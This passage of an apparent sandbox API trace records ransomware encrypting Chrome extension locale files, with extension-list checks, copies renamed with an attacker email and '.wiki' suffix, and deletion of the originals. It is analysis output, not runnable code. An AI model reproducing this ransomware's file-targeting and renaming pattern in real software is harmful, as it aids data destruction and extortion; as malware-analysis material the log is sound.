liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.938] SetEndOfFile (hFile=0x19c) returned 1 [0176.938] CloseHandle (hObject=0x19c) returned 1 [0176.939] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.939] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json")) returned 1 [0176.939] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.939] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.939] lstrlenW (lpString=".doc") returned 4 [0176.939] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.939] lstrlenW (lpString=".docx") returned 5 [0176.939] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.939] lstrlenW (lpString=".pdf") returned 4 [0176.939] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.939] lstrlenW (lpString=".xls") returned 4 [0176.940] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.940] lstrlenW (lpString=".xlsx") returned 5 [0176.940] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.940] lstrlenW (lpString=".ppt") returned 4 [0176.940] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.940] lstrlenW (lpString=".zip") returned 4 [0176.940] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.940] lstrlenW (lpString=".rar") returned 4 [0176.940] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.940] lstrlenW (lpString=".bz2") returned 4 [0176.940] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.940] lstrlenW (lpString=".7z") returned 3 [0176.940] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.940] lstrlenW (lpString=".dbf") returned 4 [0176.940] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.940] lstrlenW (lpString=".1cd") returned 4 [0176.940] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.940] lstrlenW (lpString=".jpg") returned 4 [0176.940] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.940] lstrlenW (lpString=".doc") returned 4 [0176.941] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.941] lstrlenW (lpString=".docx") returned 5 [0176.941] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.941] lstrlenW (lpString=".pdf") returned 4 [0176.941] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.941] lstrlenW (lpString=".xls") returned 4 [0176.941] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.941] lstrlenW (lpString=".xlsx") returned 5 [0176.941] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.941] lstrlenW (lpString=".ppt") returned 4 [0176.941] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.941] lstrlenW (lpString=".zip") returned 4 [0176.941] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.941] lstrlenW (lpString=".rar") returned 4 [0176.941] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.941] lstrlenW (lpString=".bz2") returned 4 [0176.941] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.941] lstrlenW (lpString=".7z") returned 3 [0176.941] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.941] lstrlenW (lpString=".dbf") returned 4 [0176.941] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.941] lstrlenW (lpString=".1cd") returned 4 [0176.941] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 151 [0176.942] lstrlenW (lpString=".jpg") returned 4 [0176.942] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.942] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.942] lstrlenW (lpString="messages.json") returned 13 [0176.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.942] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=327) returned 1 [0176.942] CloseHandle (hObject=0x19c) returned 1 [0176.943] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json")) returned 0x2020 [0176.943] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.943] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.943] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.943] GetLastError () returned 0x0 [0176.944] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x147, lpOverlapped=0x0) returned 1 [0176.945] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x150, lpOverlapped=0x0) returned 1 [0176.946] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.946] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.946] SetEndOfFile (hFile=0x334) returned 1 [0176.946] CloseHandle (hObject=0x334) returned 1 [0176.946] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.946] SetEndOfFile (hFile=0x19c) returned 1 [0176.947] CloseHandle (hObject=0x19c) returned 1 [0176.947] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.947] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json")) returned 1 [0176.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.948] lstrlenW (lpString=".doc") returned 4 [0176.948] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.948] lstrlenW (lpString=".docx") returned 5 [0176.948] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.948] lstrlenW (lpString=".pdf") returned 4 [0176.948] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.948] lstrlenW (lpString=".xls") returned 4 [0176.948] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.948] lstrlenW (lpString=".xlsx") returned 5 [0176.948] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.948] lstrlenW (lpString=".ppt") returned 4 [0176.948] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.948] lstrlenW (lpString=".zip") returned 4 [0176.948] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.948] lstrlenW (lpString=".rar") returned 4 [0176.948] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.948] lstrlenW (lpString=".bz2") returned 4 [0176.948] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.948] lstrlenW (lpString=".7z") returned 3 [0176.949] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.949] lstrlenW (lpString=".dbf") returned 4 [0176.949] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.949] lstrlenW (lpString=".1cd") returned 4 [0176.949] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.949] lstrlenW (lpString=".jpg") returned 4 [0176.949] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.949] lstrlenW (lpString=".doc") returned 4 [0176.949] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.949] lstrlenW (lpString=".docx") returned 5 [0176.949] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.949] lstrlenW (lpString=".pdf") returned 4 [0176.949] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.949] lstrlenW (lpString=".xls") returned 4 [0176.949] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.949] lstrlenW (lpString=".xlsx") returned 5 [0176.949] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.949] lstrlenW (lpString=".ppt") returned 4 [0176.949] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.950] lstrlenW (lpString=".zip") returned 4 [0176.950] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.950] lstrlenW (lpString=".rar") returned 4 [0176.950] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.950] lstrlenW (lpString=".bz2") returned 4 [0176.950] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.950] lstrlenW (lpString=".7z") returned 3 [0176.950] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.950] lstrlenW (lpString=".dbf") returned 4 [0176.950] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.950] lstrlenW (lpString=".1cd") returned 4 [0176.950] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 151 [0176.950] lstrlenW (lpString=".jpg") returned 4 [0176.950] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.950] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.950] lstrlenW (lpString="messages.json") returned 13 [0176.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.951] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=217) returned 1 [0176.951] CloseHandle (hObject=0x19c) returned 1 [0176.951] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json")) returned 0x2020 [0176.951] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.951] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.951] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.952] GetLastError () returned 0x0 [0176.952] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd9, lpOverlapped=0x0) returned 1 [0176.954] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0177.242] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.242] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.242] SetEndOfFile (hFile=0x334) returned 1 [0177.242] CloseHandle (hObject=0x334) returned 1 [0177.244] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.244] SetEndOfFile (hFile=0x19c) returned 1 [0177.245] CloseHandle (hObject=0x19c) returned 1 [0177.245] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.245] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json")) returned 1 [0177.246] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.246] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.246] lstrlenW (lpString=".doc") returned 4 [0177.246] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.246] lstrlenW (lpString=".docx") returned 5 [0177.246] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.246] lstrlenW (lpString=".pdf") returned 4 [0177.246] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.246] lstrlenW (lpString=".xls") returned 4 [0177.246] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.246] lstrlenW (lpString=".xlsx") returned 5 [0177.246] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.246] lstrlenW (lpString=".ppt") returned 4 [0177.246] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.246] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.246] lstrlenW (lpString=".zip") returned 4 [0177.246] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.246] lstrlenW (lpString=".rar") returned 4 [0177.246] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.246] lstrlenW (lpString=".bz2") returned 4 [0177.246] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.246] lstrlenW (lpString=".7z") returned 3 [0177.246] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.246] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.246] lstrlenW (lpString=".dbf") returned 4 [0177.246] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.246] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.246] lstrlenW (lpString=".1cd") returned 4 [0177.246] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.246] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 